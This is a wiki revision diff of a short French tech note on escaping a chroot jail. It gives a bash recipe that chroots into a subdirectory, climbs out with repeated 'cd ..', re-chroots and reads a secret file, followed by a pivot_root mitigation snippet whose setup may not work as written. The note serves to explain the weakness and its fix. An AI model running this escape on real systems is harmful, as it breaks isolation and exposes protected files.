Différences

Ci-dessous, les différences entre deux révisions de la page.

--- tech:chroot_escape [2026/06/02 16:37] – créée Jean-Baptiste
+++ tech:chroot_escape [2026/07/28 06:58] (Version actuelle) – Jean-Baptiste
@@ Ligne 1: / Ligne 1: @@
+<!DOCTYPE markdown>
+{{tag>Sécu chroot}}
+# chroot escape
+Voir aussi container escape :
+* https://github.com/JonnyWhatshisface/CVE-2024-56433
+Source : https://medium.datadriveninvestor.com/pivot-root-vs-chroot-the-2025-container-security-choice-36ff392d1af5
+~~~bash
+mkdir hideout
+chroot hideout      # first redirect
+for i in {1..800}; do
+  cd ..             # climb back toward real /
+done
+chroot .            # second redirect resets limits
+cat /srv/top-secret.txt
+~~~
+Solution : utiliser pivot_root
+~~~bash
+# 1) Start a fresh namespace
+unshare --mount --pid --fork bash
+# 2) Prepare a new root
+mkdir -p /mnt/newroot/oldroot
+mount --bind / /mnt/newroot/oldroot  # temporary parking spot
+# 3) Swap roots
+pivot_root /mnt/newroot /mnt/newroot/oldroot
+# 4) Detach the former root
+umount -l /oldroot
+~~~